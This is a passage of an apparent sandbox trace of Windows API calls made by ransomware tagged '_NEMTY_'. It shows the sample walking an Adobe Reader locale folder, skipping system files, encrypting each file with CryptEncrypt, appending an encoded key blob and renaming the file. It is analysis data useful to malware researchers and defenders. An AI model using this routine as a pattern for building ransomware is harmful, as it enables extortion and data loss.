ftLastWriteTime.dwLowDateTime=0x9c36ae00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x1e800, dwReserved0=0x11, dwReserved1=0x4f90000, cFileName="Checkers.UKR", cAlternateFileName="")) returned 1 [0185.362] lstrcmpiW (lpString1="Checkers.UKR", lpString2=".") returned 1 [0185.362] lstrcmpiW (lpString1="Checkers.UKR", lpString2="..") returned 1 [0185.362] lstrcmpiW (lpString1="Checkers.UKR", lpString2="...") returned 1 [0185.362] lstrcmpiW (lpString1="Checkers.UKR", lpString2="windows") returned -1 [0185.362] lstrcmpiW (lpString1="Checkers.UKR", lpString2="$RECYCLE.BIN") returned 1 [0185.363] lstrcmpiW (lpString1="Checkers.UKR", lpString2="rsa") returned -1 [0185.363] lstrcmpiW (lpString1="Checkers.UKR", lpString2="NTDETECT.COM") returned -1 [0185.363] lstrcmpiW (lpString1="Checkers.UKR", lpString2="ntldr") returned -1 [0185.363] lstrcmpiW (lpString1="Checkers.UKR", lpString2="MSDOS.SYS") returned -1 [0185.363] lstrcmpiW (lpString1="Checkers.UKR", lpString2="IO.SYS") returned -1 [0185.363] lstrcmpiW (lpString1="Checkers.UKR", lpString2="boot.ini") returned 1 [0185.363] lstrcmpiW (lpString1="Checkers.UKR", lpString2="boot.ini") returned 1 [0185.363] lstrcmpiW (lpString1="Checkers.UKR", lpString2="AUTOEXEC.BAT") returned 1 [0185.363] lstrcmpiW (lpString1="Checkers.UKR", lpString2="ntuser.dat") returned -1 [0185.363] lstrcmpiW (lpString1="Checkers.UKR", lpString2="desktop.ini") returned -1 [0185.363] lstrcmpiW (lpString1="Checkers.UKR", lpString2="CONFIG.SYS") returned -1 [0185.363] lstrcmpiW (lpString1="Checkers.UKR", lpString2="RECYCLER") returned -1 [0185.363] lstrcmpiW (lpString1="Checkers.UKR", lpString2="BOOTSECT.BAK") returned 1 [0185.363] lstrcmpiW (lpString1="Checkers.UKR", lpString2="bootmgr") returned 1 [0185.363] lstrcmpiW (lpString1="Checkers.UKR", lpString2="programdata") returned -1 [0185.363] lstrcmpiW (lpString1="Checkers.UKR", lpString2="appdata") returned 1 [0185.363] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0185.363] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Checkers.UKR", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0185.363] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Checkers.UKR", cchWideChar=12, lpMultiByteStr=0x653e890, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Checkers.UKR", lpUsedDefaultChar=0x0) returned 12 [0185.363] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0185.363] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Checkers.UKR", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0185.363] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Checkers.UKR", cchWideChar=12, lpMultiByteStr=0x653e890, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Checkers.UKR", lpUsedDefaultChar=0x0) returned 12 [0185.363] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0185.363] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0185.363] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0185.363] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Checkers.UKR", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0185.363] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Checkers.UKR", cchWideChar=12, lpMultiByteStr=0x653e8e0, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Checkers.UKR", lpUsedDefaultChar=0x0) returned 12 [0185.363] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0185.363] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0185.363] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Checkers.UKR", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0185.363] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Checkers.UKR", cchWideChar=12, lpMultiByteStr=0x653e918, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Checkers.UKR", lpUsedDefaultChar=0x0) returned 12 [0185.363] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0185.363] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340048 [0185.363] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94310 | out: hHeap=0x4f90000) returned 1 [0185.364] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x4f94310 [0185.364] Sleep (dwMilliseconds=0x5) [0185.373] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e7a4 | out: lpSystemTimeAsFileTime=0x653e7a4*(dwLowDateTime=0x222337d0, dwHighDateTime=0x1d561e8)) [0185.373] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e7a4 | out: lpSystemTimeAsFileTime=0x653e7a4*(dwLowDateTime=0x222337d0, dwHighDateTime=0x1d561e8)) [0185.373] GetLastError () returned 0x0 [0185.373] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0185.373] GetLastError () returned 0x0 [0185.373] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0185.373] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0185.373] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0185.373] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e5e0*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e5e0*=0x100) returned 1 [0185.373] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e5e4*, pdwDataLen=0x653e5d0*=0x10, dwBufLen=0x100 | out: pbData=0x653e5e4*, pdwDataLen=0x653e5d0*=0x100) returned 1 [0185.373] CryptBinaryToStringA (in: pbBinary=0x653e5e4, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e5dc | out: pszString=0x0, pcchString=0x653e5dc) returned 1 [0185.373] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x63400f0 [0185.373] CryptBinaryToStringA (in: pbBinary=0x653e5e4, cbBinary=0x100, dwFlags=0x1, pszString=0x63400f0, pcchString=0x653e5dc | out: pszString="Ukc0I7zW5/7Im4NVi1ixXdWFl6AiQRZid4CJxj/1crhKowNq7pdcUf1ThSU4Jz8T\r\n3dw+0jUMcFAD7cjcpsZM4xUltA0BE2baMAqIHSiF/loSq4wmJsPsociVKTQ7YHG4\r\nMlpSOUbg7VCIhoB5wBLDls0xPLgGb9Adp/+V7KJg4TcisSQ0Ctbogdkw1Xsw0AdO\r\nVsno9Nids6gzyCd7sR7DeXlmWZ+kMPAeAIyV5N/CIaY0VXmoI52jZ6nMfDesCuxK\r\n9zBBarVmvnYjMNuynCtH04xgjxdT7c3+r508QYYx8rHV+wIJQrXuFpvHiGOfKfan\r\nvU9do/1nq0eyepMqiateFw==\r\n", pcchString=0x653e5dc) returned 1 [0185.373] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0185.373] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63400f0 | out: hHeap=0x4f90000) returned 1 [0185.373] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0185.373] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f91750 [0185.373] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x63400f0 [0185.373] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0185.373] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\uk_UA\\Checkers.UKR" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\uk_ua\\checkers.ukr"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x2e8 [0185.374] GetFileSizeEx (in: hFile=0x2e8, lpFileSize=0x653e830 | out: lpFileSize=0x653e830*=124928) returned 1 [0185.374] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x19000) returned 0x6352c48 [0185.374] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0185.374] ReadFile (in: hFile=0x2e8, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653e824, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesRead=0x653e824*=0x19000, lpOverlapped=0x0) returned 1 [0185.383] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0185.383] WriteFile (in: hFile=0x2e8, lpBuffer=0x6352c48*, nNumberOfBytesToWrite=0x19000, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesWritten=0x653e81c*=0x19000, lpOverlapped=0x0) returned 1 [0185.383] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6352c48 | out: hHeap=0x4f90000) returned 1 [0185.383] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=124928, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x1e800 [0185.383] WriteFile (in: hFile=0x2e8, lpBuffer=0x63400f0*, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpBuffer=0x63400f0*, lpNumberOfBytesWritten=0x653e81c*=0x167, lpOverlapped=0x0) returned 1 [0185.383] CloseHandle (hObject=0x2e8) returned 1 [0185.383] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340260 [0185.383] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0185.383] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0185.383] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed58, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0185.383] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0185.383] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0185.383] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340308 [0185.383] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xee) returned 0x63403b0 [0185.383] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340308 | out: hHeap=0x4f90000) returned 1 [0185.383] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0185.383] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\uk_UA\\Checkers.UKR" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\uk_ua\\checkers.ukr"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\uk_UA\\Checkers.UKR._NEMTY_kGOBjgD_" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\uk_ua\\checkers.ukr._nemty_kgobjgd_")) returned 1 [0185.384] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63403b0 | out: hHeap=0x4f90000) returned 1 [0185.384] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340260 | out: hHeap=0x4f90000) returned 1 [0185.384] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91750 | out: hHeap=0x4f90000) returned 1 [0185.384] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63400f0 | out: hHeap=0x4f90000) returned 1 [0185.384] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0185.384] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0185.384] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0185.384] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94310 | out: hHeap=0x4f90000) returned 1 [0185.384] FindNextFileW (in: hFindFile=0x3423ab0, lpFindFileData=0x653e988 | out: lpFindFileData=0x653e988*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9c36ae00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x830b2fe0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9c36ae00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x1e800, dwReserved0=0x11, dwReserved1=0x4f90000, cFileName="DigSig.UKR", cAlternateFileName="")) returned 1 [0185.384] lstrcmpiW (lpString1="DigSig.UKR", lpString2=".") returned 1 [0185.384] lstrcmpiW (lpString1="DigSig.UKR", lpString2="..") returned 1 [0185.384] lstrcmpiW (lpString1="DigSig.UKR", lpString2="...") returned 1 [0185.384] lstrcmpiW (lpString1="DigSig.UKR", lpString2="windows") returned -1 [0185.384] lstrcmpiW (lpString1="DigSig.UKR", lpString2="$RECYCLE.BIN") returned 1 [0185.384] lstrcmpiW (lpString1="DigSig.UKR", lpString2="rsa") returned -1 [0185.384] lstrcmpiW (lpString1="DigSig.UKR", lpString2="NTDETECT.COM") returned -1 [0185.384] lstrcmpiW (lpString1="DigSig.UKR", lpString2="ntldr") returned -1 [0185.385] lstrcmpiW (lpString1="DigSig.UKR", lpString2="MSDOS.SYS") returned -1 [0185.385] lstrcmpiW (lpString1="DigSig.UKR", lpString2="IO.SYS") returned -1 [0185.385] lstrcmpiW (lpString1="DigSig.UKR", lpString2="boot.ini") returned 1 [0185.385] lstrcmpiW (lpString1="DigSig.UKR", lpString2="boot.ini") returned 1 [0185.385] lstrcmpiW (lpString1="DigSig.UKR", lpString2="AUTOEXEC.BAT") returned 1 [0185.385] lstrcmpiW (lpString1="DigSig.UKR", lpString2="ntuser.dat") returned -1 [0185.385] lstrcmpiW (lpString1="DigSig.UKR", lpString2="desktop.ini") returned 1 [0185.385] lstrcmpiW (lpString1="DigSig.UKR", lpString2="CONFIG.SYS") returned 1 [0185.385] lstrcmpiW (lpString1="DigSig.UKR", lpString2="RECYCLER") returned -1 [0185.385] lstrcmpiW (lpString1="DigSig.UKR", lpString2="BOOTSECT.BAK") returned 1 [0185.385] lstrcmpiW (lpString1="DigSig.UKR", lpString2="bootmgr") returned 1 [0185.385] lstrcmpiW (lpString1="DigSig.UKR", lpString2="programdata") returned -1 [0185.385] lstrcmpiW (lpString1="DigSig.UKR", lpString2="appdata") returned 1 [0185.385] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0185.385] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DigSig.UKR", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0185.385] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DigSig.UKR", cchWideChar=10, lpMultiByteStr=0x653e890, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="DigSig.UKR", lpUsedDefaultChar=0x0) returned 10 [0185.385] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0185.385] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DigSig.UKR", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0185.385] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DigSig.UKR", cchWideChar=10, lpMultiByteStr=0x653e890, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="DigSig.UKR", lpUsedDefaultChar=0x0) returned 10 [0185.385] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0185.385] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0185.385] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0185.385] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DigSig.UKR", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0185.385] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DigSig.UKR", cchWideChar=10, lpMultiByteStr=0x653e8e0, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="DigSig.UKR", lpUsedDefaultChar=0x0) returned 10 [0185.385] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0185.385] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0185.385] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DigSig.UKR", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0185.385] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DigSig.UKR", cchWideChar=10, lpMultiByteStr=0x653e918, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="DigSig.UKR", lpUsedDefaultChar=0x0) returned 10 [0185.385] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0185.385] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346f28 [0185.385] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0185.385] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346d60 [0185.385] Sleep (dwMilliseconds=0x5) [0185.389] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e7a4 | out: lpSystemTimeAsFileTime=0x653e7a4*(dwLowDateTime=0x22259930, dwHighDateTime=0x1d561e8)) [0185.389] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e7a4 | out: lpSystemTimeAsFileTime=0x653e7a4*(dwLowDateTime=0x22259930, dwHighDateTime=0x1d561e8)) [0185.389] GetLastError () returned 0x0 [0185.390] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0185.390] GetLastError () returned 0x0 [0185.390] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0185.390] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0185.390] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0185.390] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e5e0*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e5e0*=0x100) returned 1 [0185.390] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e5e4*, pdwDataLen=0x653e5d0*=0x10, dwBufLen=0x100 | out: pbData=0x653e5e4*, pdwDataLen=0x653e5d0*=0x100) returned 1 [0185.390] CryptBinaryToStringA (in: pbBinary=0x653e5e4, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e5dc | out: pszString=0x0, pcchString=0x653e5dc) returned 1 [0185.390] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x6340048 [0185.390] CryptBinaryToStringA (in: pbBinary=0x653e5e4, cbBinary=0x100, dwFlags=0x1, pszString=0x6340048, pcchString=0x653e5dc | out: pszString="eOcxHCvbiyqJEDS6vnrroO0nXDYhUjxGTb43+8TXv8xh4UkM6q9RCy0v4Bw8Ic7g\r\nDSOGvCEt/oA1WwnAykP3mw5nShlNOaYL3lnj8BLNT63yKW9U2pnf9Ngf4rcUALCI\r\nmgBfczGmyK7vBuEKIVSyWC3eqFbPM/3Ws00Wq+j2JEY0bGCgDbvOHugBP/EfvxuS\r\nku8RSKF+PN4cUqjLFkQUaSNKUjZUUIl3G8YJf6zlIRsDw7GbIL4xUFupHMCxjOWc\r\npsbjW8WsLVo1DITufeb/HMkR2DaEw8py3iNBeCBXcth+p+CzxH6alo2RbyX1GHHU\r\nlEHsLnkKIMIDi7jKxZtEUw==\r\n", pcchString=0x653e5dc) returned 1 [0185.390] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0185.390] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0185.390] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0185.390] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f91750 [0185.390] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x6340048 [0185.390] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0185.390] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\uk_UA\\DigSig.UKR" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\uk_ua\\digsig.ukr"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x2e8 [0185.390] GetFileSizeEx (in: hFile=0x2e8, lpFileSize=0x653e830 | out: lpFileSize=0x653e830*=124928) returned 1 [0185.390] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x19000) returned 0x6352c48 [0185.391] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0185.391] ReadFile (in: hFile=0x2e8, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653e824, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesRead=0x653e824*=0x19000, lpOverlapped=0x0) returned 1 [0185.399] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0185.399] WriteFile (in: hFile=0x2e8, lpBuffer=0x6352c48*, nNumberOfBytesToWrite=0x19000, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesWritten=0x653e81c*=0x19000, lpOverlapped=0x0) returned 1 [0185.400] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6352c48 | out: hHeap=0x4f90000) returned 1 [0185.400] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=124928, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x1e800 [0185.400] WriteFile (in: hFile=0x2e8, lpBuffer=0x6340048*, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpBuffer=0x6340048*, lpNumberOfBytesWritten=0x653e81c*=0x167, lpOverlapped=0x0) returned 1 [0185.400] CloseHandle (hObject=0x2e8) returned 1 [0185.400] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346e90 [0185.400] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0185.400] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0185.400] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed08, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0185.400] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0185.400] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0185.400] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x4f94310 [0185.400] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xee) returned 0x63401b8 [0185.400] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94310 | out: hHeap=0x4f90000) returned 1 [0185.400] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0185.400] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\uk_UA\\DigSig.UKR" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\uk_ua\\digsig.ukr"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\uk_UA\\DigSig.UKR._NEMTY_kGOBjgD_" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\uk_ua\\digsig.ukr._nemty_kgobjgd_")) returned 1 [0185.401] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63401b8 | out: hHeap=0x4f90000) returned 1 [0185.401] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346e90 | out: hHeap=0x4f90000) returned 1 [0185.401] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91750 | out: 